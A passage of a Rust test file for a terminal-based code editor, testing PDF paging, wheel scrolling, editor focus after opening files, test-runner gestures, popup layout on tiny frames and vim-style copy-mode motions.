    app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
        .unwrap();
}

/// Give the editor pane a real rectangle so wheel events land inside it.
fn place_editor_pane(app: &mut App) -> (u16, u16) {
    let area = Rect {
        x: 20,
        y: 2,
        width: 60,
        height: 30,
    };
    app.editor.last_area = area;
    app.editor.last_full_area = area;
    app.editor.last_inner = Rect {
        x: area.x + 1,
        y: area.y + 2,
        width: area.width - 2,
        height: area.height - 3,
    };
    (area.x + 10, area.y + 10)
}

fn wheel(app: &mut App, kind: crossterm::event::MouseEventKind, col: u16, row: u16) {
    app.handle_mouse(mouse(kind, col, row));
}

fn require_pdf_backend() {
    assert!(
        crate::pdf::detect_backend().is_some(),
        "these tests need a PDF rasteriser (poppler's pdftoppm, or sips on macOS)"
    );
}

#[test]
fn arrow_keys_page_through_an_open_pdf() {
    require_pdf_backend();
    let tmp = tempfile::tempdir().unwrap();
    let path = tmp.path().join("doc.pdf");
    write_three_page_pdf(&path);

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&path).unwrap();
    app.focus_pane(Pane::Editor);
    assert_eq!(current_pdf_page(&app), 1);

    app.handle_key(key(KeyCode::Right, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(current_pdf_page(&app), 2, "Right must go to the next page");

    app.handle_key(key(KeyCode::Left, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(current_pdf_page(&app), 1, "Left must go back a page");

    app.handle_key(key(KeyCode::PageDown, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(current_pdf_page(&app), 2, "PageDown pages forward");

    app.handle_key(key(KeyCode::End, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(current_pdf_page(&app), 3, "End jumps to the last page");

    app.handle_key(key(KeyCode::Home, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(current_pdf_page(&app), 1, "Home jumps back to page 1");
}

#[test]
fn a_pdf_opened_from_the_explorer_pages_with_the_arrow_keys() {
    require_pdf_backend();
    let tmp = tempfile::tempdir().unwrap();
    write_three_page_pdf(&tmp.path().join("doc.pdf"));

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    open_from_explorer(&mut app, "doc.pdf");
    assert!(
        matches!(app.focus, Pane::Editor),
        "opening a file must hand the keyboard to the editor, or its navigation keys are dead"
    );

    app.handle_key(key(KeyCode::Right, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(
        current_pdf_page(&app),
        2,
        "a PDF opened from the Explorer must page with Right"
    );
}

#[test]
fn the_wheel_pages_a_pdf_under_the_pointer() {
    require_pdf_backend();
    let tmp = tempfile::tempdir().unwrap();
    let path = tmp.path().join("doc.pdf");
    write_three_page_pdf(&path);

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&path).unwrap();
    let (col, row) = place_editor_pane(&mut app);

    wheel(&mut app, MouseEventKind::ScrollDown, col, row);
    assert_eq!(current_pdf_page(&app), 2, "wheel down pages forward");
    wheel(&mut app, MouseEventKind::ScrollUp, col, row);
    assert_eq!(current_pdf_page(&app), 1, "wheel up pages back");
}

/// A momentum flick delivers a burst of same-direction wheel events, and
/// every PDF page step is a synchronous rasteriser run on the UI thread: the
/// burst must coalesce (rate-limited per direction) instead of queueing
/// dozens of blocking renders. A reversal is deliberate and passes through
/// immediately (the paging test above depends on that).
#[test]
fn a_wheel_flick_over_a_pdf_coalesces_to_one_page_step() {
    require_pdf_backend();
    let tmp = tempfile::tempdir().unwrap();
    let path = tmp.path().join("doc.pdf");
    write_three_page_pdf(&path);
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&path).unwrap();
    let (col, row) = place_editor_pane(&mut app);
    wheel(&mut app, MouseEventKind::ScrollDown, col, row);
    wheel(&mut app, MouseEventKind::ScrollDown, col, row);
    wheel(&mut app, MouseEventKind::ScrollDown, col, row);
    assert_eq!(
        current_pdf_page(&app),
        2,
        "a same-direction burst steps one page, not one per event"
    );
}

/// The wheel never wraps the document: page 1 stays put on wheel up and the
/// last page stays put on wheel down. (The arrow keys wrap deliberately;
/// no PDF viewer wraps on scroll.)
#[test]
fn the_wheel_does_not_wrap_a_pdf_at_its_ends() {
    require_pdf_backend();
    let tmp = tempfile::tempdir().unwrap();
    let path = tmp.path().join("doc.pdf");
    write_three_page_pdf(&path);
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&path).unwrap();
    let (col, row) = place_editor_pane(&mut app);
    wheel(&mut app, MouseEventKind::ScrollUp, col, row);
    assert_eq!(
        current_pdf_page(&app),
        1,
        "wheel up on page 1 must not wrap"
    );
    app.jump_pdf_page(3);
    wheel(&mut app, MouseEventKind::ScrollDown, col, row);
    assert_eq!(
        current_pdf_page(&app),
        3,
        "wheel down on the last page must not wrap"
    );
}

/// Opening a file while the terminal is maximized (Ctrl+Shift+J) must
/// restore the editor - the same convention VS Code follows when a file is
/// revealed over a maximized panel. Before this, focus silently moved into
/// an editor the layout gave zero rows: arrows did nothing visible and
/// typing dirtied a hidden buffer.
#[test]
fn opening_a_file_over_a_maximized_terminal_restores_the_editor() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("a.txt"), "hello").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.terminal_maximized = true;
    open_from_explorer(&mut app, "a.txt");
    assert!(matches!(app.focus, Pane::Editor));
    assert!(
        !app.terminal_maximized,
        "focusing the editor must restore it from under a maximized terminal"
    );
}

/// iTerm2 OSC-1337 and Sixel have no image z-layer: the post-frame image
/// blit overwrites whatever text sits in those cells, so an open context
/// menu overlapping the editor preview must suppress the overlay (Kitty
/// instead layers images below text and needs nothing).
#[test]
fn a_context_menu_over_the_editor_image_suppresses_the_blit_on_no_z_protocols() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let img = ratatui::layout::Rect::new(2, 2, 30, 15);
    assert!(
        !app.context_menu_covers_rect(img),
        "no menu open: nothing to suppress"
    );
    app.context_menu = Some(ContextMenu::flat(
        (4, 4),
        vec![(
            String::from("Rename"),
            MenuAction::Rename(tmp.path().into()),
        )],
        tmp.path().into(),
    ));
    app.inline_protocol = crate::iterm2_inline::InlineImageProtocol::ITerm2;
    assert!(
        app.context_menu_covers_rect(img),
        "an overlapping menu must suppress the image on iTerm2"
    );
    app.inline_protocol = crate::iterm2_inline::InlineImageProtocol::Kitty;
    assert!(
        !app.context_menu_covers_rect(img),
        "Kitty layers images below text; the menu already wins"
    );
}

/// F6 must give the same guarantee as every other route into the editor:
/// it used to assign focus directly, bypassing `focus_pane`, so cycling
/// into the editor under a maximized terminal focused a zero-height pane.
#[test]
fn cycling_focus_into_the_editor_also_restores_a_maximized_terminal() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.terminal_maximized = true;
    for _ in 0..3 {
        app.cycle_focus();
        if matches!(app.focus, Pane::Editor) {
            break;
        }
    }
    assert!(
        matches!(app.focus, Pane::Editor),
        "F6 must reach the editor"
    );
    assert!(
        !app.terminal_maximized,
        "cycling into the editor must restore it, same as any other route"
    );
}

/// The wheel cooldown is per document: scrolling one PDF and immediately
/// wheeling in a second, freshly focused PDF is that document's FIRST
/// gesture, not a repeat - an app-global cooldown swallowed it.
#[test]
fn the_wheel_cooldown_does_not_leak_across_pdf_documents() {
    require_pdf_backend();
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("a.pdf");
    let b = tmp.path().join("b.pdf");
    write_three_page_pdf(&a);
    write_three_page_pdf(&b);
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&a).unwrap();
    let (col, row) = place_editor_pane(&mut app);
    wheel(&mut app, MouseEventKind::ScrollDown, col, row);
    assert_eq!(current_pdf_page(&app), 2);
    app.editor.open(&b).unwrap();
    let (col, row) = place_editor_pane(&mut app);
    // Pin the cooldown stamp to "just now, same direction, other document"
    // so the window is deterministically open regardless of how long the
    // rasteriser took: only the document identity may let this tick through.
    app.last_pdf_wheel = Some((std::time::Instant::now(), 1, Some(a.clone())));
    wheel(&mut app, MouseEventKind::ScrollDown, col, row);
    assert_eq!(
        current_pdf_page(&app),
        2,
        "the second document's first wheel tick must not be dropped"
    );
}

#[test]
fn a_spreadsheet_opened_from_the_explorer_scrolls_with_the_arrow_keys() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("data.csv"), csv_body(40)).unwrap();

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    open_from_explorer(&mut app, "data.csv");
    assert!(app.editor.sheet.is_some(), "a .csv opens as a spreadsheet");
    assert!(matches!(app.focus, Pane::Editor));

    app.handle_key(key(KeyCode::Down, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(
        sheet_cursor(&app).0,
        1,
        "Down moves the cell cursor down a row (#177)"
    );
    app.handle_key(key(KeyCode::Right, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(
        sheet_cursor(&app).1,
        1,
        "Right moves the cell cursor a column"
    );
}

#[test]
fn the_wheel_scrolls_a_spreadsheet_under_the_pointer() {
    let tmp = tempfile::tempdir().unwrap();
    let path = tmp.path().join("data.csv");
    std::fs::write(&path, csv_body(40)).unwrap();

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&path).unwrap();
    let (col, row) = place_editor_pane(&mut app);

    wheel(&mut app, MouseEventKind::ScrollDown, col, row);
    assert_eq!(sheet_scroll(&app).0, 3, "wheel down scrolls the sheet rows");
    wheel(&mut app, MouseEventKind::ScrollUp, col, row);
    assert_eq!(sheet_scroll(&app).0, 0, "wheel up scrolls back");
}

#[test]
fn a_tsv_preview_scrolls_the_same_way_as_a_csv() {
    let tmp = tempfile::tempdir().unwrap();
    let path = tmp.path().join("data.tsv");
    std::fs::write(&path, "a\tb\n1\t2\n3\t4\n5\t6\n7\t8\n").unwrap();

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&path).unwrap();
    let (col, row) = place_editor_pane(&mut app);
    assert!(app.editor.sheet.is_some(), "a .tsv opens as a spreadsheet");

    wheel(&mut app, MouseEventKind::ScrollDown, col, row);
    assert_eq!(sheet_scroll(&app).0, 3, "wheel down scrolls a TSV too");
}

#[test]
fn a_markdown_file_opened_from_the_explorer_scrolls_its_preview() {
    let tmp = tempfile::tempdir().unwrap();
    let body: String = (0..200).map(|i| format!("line {i}\n")).collect();
    std::fs::write(tmp.path().join("notes.md"), body).unwrap();

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    open_from_explorer(&mut app, "notes.md");
    assert!(matches!(app.focus, Pane::Editor));
    app.toggle_markdown_preview();
    assert!(app.editor.markdown_preview.is_some());

    app.handle_key(key(KeyCode::Down, KeyModifiers::NONE))
        .unwrap();
    let scrolled = app
        .editor
        .markdown_preview
        .as_ref()
        .map(|p| p.scroll)
        .unwrap();
    assert!(scrolled > 0, "Down must scroll the rendered Markdown");
}

#[test]
fn the_wheel_scrolls_a_markdown_preview_under_the_pointer() {
    let tmp = tempfile::tempdir().unwrap();
    let path = tmp.path().join("notes.md");
    let body: String = (0..200).map(|i| format!("line {i}\n")).collect();
    std::fs::write(&path, body).unwrap();

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&path).unwrap();
    let (col, row) = place_editor_pane(&mut app);
    app.toggle_markdown_preview();

    wheel(&mut app, MouseEventKind::ScrollDown, col, row);
    let scrolled = app
        .editor
        .markdown_preview
        .as_ref()
        .map(|p| p.scroll)
        .unwrap();
    assert!(scrolled > 0, "the wheel must scroll the rendered Markdown");
}

#[test]
fn a_text_file_opened_from_the_explorer_takes_the_arrow_keys() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("main.rs"), "one\ntwo\nthree\n").unwrap();

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    open_from_explorer(&mut app, "main.rs");
    let before = app.tree.selected;
    app.handle_key(key(KeyCode::Down, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(app.editor.cursor_row, 1, "Down moves the caret in the file");
    assert_eq!(
        app.tree.selected, before,
        "the Explorer selection must not move once the file is open"
    );
}

#[test]
fn the_wheel_still_scrolls_a_long_text_file() {
    let tmp = tempfile::tempdir().unwrap();
    let path = tmp.path().join("long.txt");
    let body: String = (0..500).map(|i| format!("line {i}\n")).collect();
    std::fs::write(&path, body).unwrap();

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&path).unwrap();
    let (col, row) = place_editor_pane(&mut app);

    wheel(&mut app, MouseEventKind::ScrollDown, col, row);
    assert_eq!(app.editor.scroll, 3, "wheel down still scrolls text");
    wheel(&mut app, MouseEventKind::ScrollUp, col, row);
    assert_eq!(app.editor.scroll, 0, "wheel up still scrolls text back");
}

#[test]
fn an_image_preview_swallows_navigation_without_disturbing_the_buffer() {
    let tmp = tempfile::tempdir().unwrap();
    write_test_png(&tmp.path().join("shot.png"));

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    open_from_explorer(&mut app, "shot.png");
    assert!(app.editor.image.is_some());
    let (col, row) = place_editor_pane(&mut app);

    for code in [
        KeyCode::Right,
        KeyCode::Left,
        KeyCode::Up,
        KeyCode::Down,
        KeyCode::PageDown,
        KeyCode::Home,
        KeyCode::End,
        KeyCode::Char('x'),
    ] {
        app.handle_key(key(code, KeyModifiers::NONE)).unwrap();
    }
    wheel(&mut app, MouseEventKind::ScrollDown, col, row);
    wheel(&mut app, MouseEventKind::ScrollUp, col, row);
    assert_eq!(
        app.editor.lines,
        vec![String::new()],
        "an image tab is read-only: no key may reach the buffer"
    );
}

#[test]
fn right_arrow_in_the_explorer_previews_a_file_without_stealing_focus() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("peek.txt"), "hello\n").unwrap();

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let idx = app
        .tree
        .nodes
        .iter()
        .position(|n| n.path.file_name().is_some_and(|f| f == "peek.txt"))
        .expect("peek.txt in the tree");
    app.tree.selected = idx;
    app.focus_pane(Pane::Tree);
    app.handle_key(key(KeyCode::Right, KeyModifiers::NONE))
        .unwrap();

    assert_eq!(app.editor.lines[0], "hello");
    assert!(
        matches!(app.focus, Pane::Tree),
        "Right is an Explorer navigation gesture: it previews but keeps the keyboard in the tree"
    );
}

/// The invariant behind every test above, applied to one file of each kind
/// croft previews: opening a file must leave the keyboard where that file's
/// navigation keys are handled. Add a new preview type, add a row here.
#[test]
fn opening_any_file_type_from_the_explorer_lands_the_keyboard_in_the_editor() {
    require_pdf_backend();
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("plain.txt"), "alpha\nbeta\n").unwrap();
    std::fs::write(tmp.path().join("code.rs"), "fn main() {}\n").unwrap();
    std::fs::write(tmp.path().join("notes.md"), "# Title\n\nbody\n").unwrap();
    std::fs::write(tmp.path().join("data.csv"), csv_body(5)).unwrap();
    std::fs::write(tmp.path().join("data.tsv"), "a\tb\n1\t2\n").unwrap();
    std::fs::write(tmp.path().join("conf.json"), "{\"a\": 1}\n").unwrap();
    write_test_png(&tmp.path().join("shot.png"));
    write_three_page_pdf(&tmp.path().join("doc.pdf"));

    for name in [
        "plain.txt",
        "code.rs",
        "notes.md",
        "data.csv",
        "data.tsv",
        "conf.json",
        "shot.png",
        "doc.pdf",
    ] {
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        open_from_explorer(&mut app, name);
        assert!(
            matches!(app.focus, Pane::Editor),
            "{name}: opening it must hand the keyboard to the editor, or its navigation keys are dead"
        );
    }
}

/// Root cause of the frozen preview: the overlay's re-emit key held the path
/// and the rect but not the page, so a page turn looked like "same layout" and
/// the picture on screen never changed. Baking twice across a page turn must
/// produce two different payloads.
#[test]
fn turning_a_pdf_page_rebakes_the_inline_image_overlay() {
    require_pdf_backend();
    let tmp = tempfile::tempdir().unwrap();
    let path = tmp.path().join("doc.pdf");
    write_three_page_pdf(&path);

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.inline_protocol = crate::iterm2_inline::InlineImageProtocol::Kitty;
    app.cell_pixel = Some((8, 16));
    app.editor.open(&path).unwrap();
    let area = Rect {
        x: 0,
        y: 0,
        width: 60,
        height: 30,
    };
    app.update_editor_image_overlay(0, area);
    let page1 = app
        .editor_image_payload(0)
        .map(|(osc, _)| osc.to_string())
        .expect("page 1 must bake");

    assert!(app.editor.change_pdf_page(1));
    app.update_editor_image_overlay(0, area);
    let page2 = app
        .editor_image_payload(0)
        .map(|(osc, _)| osc.to_string())
        .expect("page 2 must bake");

    assert_ne!(
        page1, page2,
        "the overlay must re-bake on a page turn, or the reader stares at a frozen page"
    );
}

/// Click a file's row in the Explorer, the way a user opens a file with the
/// mouse. Returns nothing: the assertions live in the callers.
fn click_open_in_explorer(app: &mut App, name: &str) {
    app.tree.last_area = Rect {
        x: 4,
        y: 0,
        width: 32,
        height: 20,
    };
    app.tree.last_inner = Rect {
        x: 5,
        y: 1,
        width: 30,
        height: 18,
    };
    app.focus_pane(Pane::Tree);
    let idx = app
        .tree
        .nodes
        .iter()
        .position(|n| n.path.file_name().is_some_and(|f| f == name))
        .unwrap_or_else(|| panic!("{name} must be visible in the Explorer"));
    let row = app.tree.last_inner.y + idx as u16;
    let col = app.tree.last_inner.x + 2;
    app.handle_mouse(mouse(MouseEventKind::Down(MouseButton::Left), col, row));
    app.handle_mouse(mouse(MouseEventKind::Up(MouseButton::Left), col, row));
}

/// The gesture the bug report actually used: one click on the PDF in the
/// Explorer, then the arrow keys. A single click opened the file but left the
/// keyboard on the tree, so every page-turn key walked the file list instead.
#[test]
fn a_pdf_opened_with_one_click_in_the_explorer_pages_with_the_arrow_keys() {
    require_pdf_backend();
    let tmp = tempfile::tempdir().unwrap();
    write_three_page_pdf(&tmp.path().join("doc.pdf"));

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    click_open_in_explorer(&mut app, "doc.pdf");
    assert_eq!(current_pdf_page(&app), 1, "the click must open the PDF");
    assert!(
        matches!(app.focus, Pane::Editor),
        "one click on a file must hand the keyboard to the editor, as VS Code does"
    );

    app.handle_key(key(KeyCode::Right, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(current_pdf_page(&app), 2, "Right must turn the page");
    app.handle_key(key(KeyCode::Char(' '), KeyModifiers::NONE))
        .unwrap();
    assert_eq!(current_pdf_page(&app), 3, "Space must turn the page");
}

#[test]
fn clicking_any_file_type_in_the_explorer_lands_the_keyboard_in_the_editor() {
    require_pdf_backend();
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("plain.txt"), "alpha\nbeta\n").unwrap();
    std::fs::write(tmp.path().join("data.csv"), csv_body(5)).unwrap();
    std::fs::write(tmp.path().join("notes.md"), "# Title\n").unwrap();
    write_test_png(&tmp.path().join("shot.png"));
    write_three_page_pdf(&tmp.path().join("doc.pdf"));

    for name in ["plain.txt", "data.csv", "notes.md", "shot.png", "doc.pdf"] {
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        click_open_in_explorer(&mut app, name);
        assert!(
            matches!(app.focus, Pane::Editor),
            "{name}: one click must hand the keyboard to the editor"
        );
    }
}

/// A click on a spreadsheet must leave the arrow keys scrolling the grid, not
/// the file list - the same defect as the PDF, one tab type over.
#[test]
fn a_spreadsheet_opened_with_one_click_scrolls_with_the_arrow_keys() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("data.csv"), csv_body(40)).unwrap();

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    click_open_in_explorer(&mut app, "data.csv");
    app.handle_key(key(KeyCode::Down, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(
        sheet_cursor(&app).0,
        1,
        "Down must act on the grid (cell cursor), not the file list"
    );
}

/// Selecting a folder row must not move focus: the click is a tree gesture and
/// the user is still browsing.
#[test]
fn clicking_a_folder_in_the_explorer_keeps_the_keyboard_in_the_tree() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::create_dir(tmp.path().join("src")).unwrap();
    std::fs::write(tmp.path().join("src/lib.rs"), "fn main() {}\n").unwrap();

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    click_open_in_explorer(&mut app, "src");
    assert!(
        matches!(app.focus, Pane::Tree),
        "expanding a folder is a tree gesture: the keyboard stays in the Explorer"
    );
}

/// With no enabled runner claiming the workspace (`runner_for` is `None` —
/// no recognised project, or its runner extension disabled), every Testing
/// run gesture must refuse with a status instead of shelling `cargo test`
/// in a directory cargo knows nothing about. Only discovery was guarded;
/// the four run entry points started a spurious run.
#[test]
fn a_workspace_with_no_test_runner_refuses_every_run_gesture() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("notes.txt"), "no project here\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();

    fn assert_refused(app: &mut App, label: &str) {
        assert!(!app.testing.is_busy(), "{label} must not start");
        assert!(
            app.status.contains("No test runner"),
            "{label} must say why it refused: {:?}",
            app.status
        );
        app.status.clear();
    }
    app.run_all_tests();
    assert_refused(&mut app, "run-all");
    app.run_test(String::from("some::test"));
    assert_refused(&mut app, "single run");
    app.run_suite(String::from("suite"));
    assert_refused(&mut app, "suite run");
    app.run_named_test(String::from("named"));
    assert_refused(&mut app, "named run");
}

/// cargo's positional filter is a substring match, so running suite `parse`
/// with a bare pattern also sweeps `parse_utils::b` and every other
/// prefix-sharing sibling. The suite gesture must anchor on `parse::`.
#[test]
fn running_a_suite_never_sweeps_prefix_sharing_siblings() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(
        tmp.path().join("Cargo.toml"),
        "[package]\nname = \"t\"\nversion = \"0.0.0\"\n",
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    for n in ["parse::a", "parse_utils::b"] {
        app.testing.apply_case(crate::testing::model::TestCase {
            name: n.into(),
            status: crate::testing::model::TestStatus::NotRun,
        });
    }

    app.run_suite(String::from("parse"));

    use crate::testing::model::TestStatus;
    assert_eq!(
        app.testing.status_of("parse::a"),
        Some(TestStatus::Running),
        "the suite's own case runs"
    );
    assert_eq!(
        app.testing.status_of("parse_utils::b"),
        Some(TestStatus::NotRun),
        "a prefix-sharing sibling suite must stay untouched"
    );
}

/// Run-at-cursor knows only the fn's leaf name. When the discovered tree
/// holds exactly one case with that leaf, the run must target it exactly
/// instead of handing cargo a bare substring that also matches `run_fast`.
#[test]
fn run_at_cursor_with_a_unique_leaf_runs_exactly_that_test() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(
        tmp.path().join("Cargo.toml"),
        "[package]\nname = \"t\"\nversion = \"0.0.0\"\n",
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    for n in ["parse::run", "other::run_fast"] {
        app.testing.apply_case(crate::testing::model::TestCase {
            name: n.into(),
            status: crate::testing::model::TestStatus::NotRun,
        });
    }

    app.run_named_test(String::from("run"));

    use crate::testing::model::TestStatus;
    assert_eq!(
        app.status, "Running test parse::run",
        "a unique leaf resolves to its full name for an exact run"
    );
    assert_eq!(
        app.testing.status_of("other::run_fast"),
        Some(TestStatus::NotRun),
        "a test merely containing the leaf must stay untouched"
    );
}

/// Clicking a test's name greps the workspace for its `fn`; that walk runs
/// on a background thread and the editor jump lands via the drain, so a big
/// workspace can't freeze the render loop. Covers hit and miss.
#[test]
fn a_test_name_click_jumps_to_source_via_the_background_locator() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(
        tmp.path().join("Cargo.toml"),
        "[package]\nname = \"t\"\nversion = \"0.0.0\"\n",
    )
    .unwrap();
    std::fs::create_dir_all(tmp.path().join("src")).unwrap();
    let lib = tmp.path().join("src/lib.rs");
    std::fs::write(
        &lib,
        "#[cfg(test)]\nmod tests {\n    #[test]\n    fn target_case() { assert!(true); }\n}\n",
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();

    app.jump_to_test_source(String::from("tests::target_case"));
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(10);
    loop {
        app.sync_explorer_panels();
        if app.editor.path.as_deref() == Some(lib.as_path()) {
            break;
        }
        assert!(
            std::time::Instant::now() < deadline,
            "the locator result never arrived; editor at {:?}",
            app.editor.path
        );
        std::thread::sleep(std::time::Duration::from_millis(20));
    }
    assert_eq!(app.editor.cursor_row, 3, "caret lands on `fn target_case`");

    app.jump_to_test_source(String::from("nope::missing"));
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(10);
    loop {
        app.sync_explorer_panels();
        if app
            .status
            .contains("No source found for test nope::missing")
        {
            break;
        }
        assert!(
            std::time::Instant::now() < deadline,
            "the miss status never arrived, status {:?}",
            app.status
        );
        std::thread::sleep(std::time::Duration::from_millis(20));
    }
}

/// Ctrl+Shift+H on a tiny host window: the popup clamps inverted
/// (min > max) below 40 columns or 10 rows and `Ord::clamp` panics,
/// taking the raw-mode TUI down.
#[test]
fn the_history_popup_survives_a_tiny_frame() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Terminal);
    app.open_command_history();
    let backend = ratatui::backend::TestBackend::new(30, 8);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
}

/// A zero-sized frame (a host window mid-collapse) has no cells at all:
/// the fallback geometry used to floor each axis to one cell, handing
/// back a 1×1 popup that sits outside the frame it was asked to fit.
#[test]
fn a_zero_sized_frame_gets_no_fallback_popup() {
    let r = fallback_popup_rect(Rect::new(0, 0, 0, 0), 100);
    assert_eq!(r.area(), 0, "no cells exist to draw into: {r:?}");
    let r = fallback_popup_rect(Rect::new(0, 0, 80, 0), 110);
    assert_eq!(r.area(), 0, "a zero-height frame cannot host rows: {r:?}");
    let r = fallback_popup_rect(Rect::new(2, 3, 30, 8), 110);
    assert!(
        r.x >= 2 && r.y >= 3 && r.right() <= 32 && r.bottom() <= 11,
        "a real frame keeps the popup inside it: {r:?}"
    );
}

/// vim's `e` at the last word of a row hops to the next row's first word
/// end, exactly like `w` and `b` already wrap; it used to be a dead key
/// there because the scan ran into the row's trailing padding.
#[test]
fn copy_mode_e_wraps_to_the_next_rows_word_end() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Terminal);
    // A fresh row first: whatever the spawned shell printed (a prompt, a
    // banner — it varies by environment) must not shift the fed text, and
    // the navigation below is cursor-relative rather than jumping to the
    // scrollback top, so the test is hermetic against prior output.
    app.terminals[0].feed_bytes_for_test(b"\r\nalpha beta\r\nnext word");
    app.open_terminal_copy_mode();
    app.handle_terminal_copy_mode_key(key(KeyCode::Char('k'), KeyModifiers::NONE));
    app.handle_terminal_copy_mode_key(key(KeyCode::Char('0'), KeyModifiers::NONE));
    app.handle_terminal_copy_mode_key(key(KeyCode::Char('e'), KeyModifiers::NONE));
    let st = app.terminal_copy_mode.as_ref().unwrap();
    let first_row = st.line;
    assert_eq!(st.col, 4, "first e lands on the end of 'alpha'");
    app.handle_terminal_copy_mode_key(key(KeyCode::Char('e'), KeyModifiers::NONE));
    assert_eq!(
        app.terminal_copy_mode.as_ref().unwrap().col,
        9,
        "second e lands on the end of 'beta'"
    );
    app.handle_terminal_copy_mode_key(key(KeyCode::Char('e'), KeyModifiers::NONE));
    let st = app.terminal_copy_mode.as_ref().unwrap();
    assert_eq!(
        st.line,
        first_row + 1,
        "e at the row's last word must wrap to the next row"
    );
    assert_eq!(st.col, 3, "and land on the end of 'next'");
}

/// vim's `e` keeps advancing across word-less lines: from the last word
/// before a run of blank rows it lands on the end of the next word below
/// them, not at column 0 of the first blank row.
#[test]
fn copy_mode_e_skips_blank_rows_to_the_next_word_end() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Terminal);
    app.terminals[0].feed_bytes_for_test(b"\r\nalpha\r\n\r\n\r\nnext word");
    app.open_terminal_copy_mode();
    for _ in 0..3 {
        app.handle_terminal_copy_mode_key(key(KeyCode::Char('k'), KeyModifiers::NONE));
    }
    app.handle_terminal_copy_mode_key(key(KeyCode::Char('0'), KeyModifiers::NONE));
    app.handle_terminal_copy_mode_key(key(KeyCode::Char('e'), KeyModifiers::NONE));
    let st = app.terminal_copy_mode.as_ref().unwrap();
    let alpha_row = st.line;
    assert_eq!(st.col, 4, "first e lands on the end of 'alpha'");
    app.handle_terminal_copy_mode_key(key(KeyCode::Char('e'), KeyModifiers::NONE));
    let st = app.terminal_copy_mode.as_ref().unwrap();
    assert_eq!(
        st.line,
        alpha_row + 3,
        "e skips the two blank rows to the row with the next word"
    );
    assert_eq!(st.col, 3, "and lands on the end of 'next'");
}

/// A 100x1 blue PNG: one cell tall at any pane geometry, so a scrolled
/// anchor changes only the placement row, never the baked cell size.
fn wide_short_png() -> Vec<u8> {
    let mut png = Vec::new();
    image::RgbaImage::from_pixel(100, 1, image::Rgba([0, 0, 255, 255]))
        .write_to(&mut std::io::Cursor::new(&mut png), image::ImageFormat::Png)
        .expect("encode test png");
    png
}

/// Stage an app with an inline image captured at the pane's bottom row and
/// the overlay freshly baked, on the given protocol.
fn app_with_baked_terminal_image(
    protocol: crate::iterm2_inline::InlineImageProtocol,
) -> (tempfile::TempDir, App) {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Terminal);
    app.inline_protocol = protocol;
    app.cell_pixel = Some((8, 16));
    let backend = ratatui::backend::TestBackend::new(100, 30);
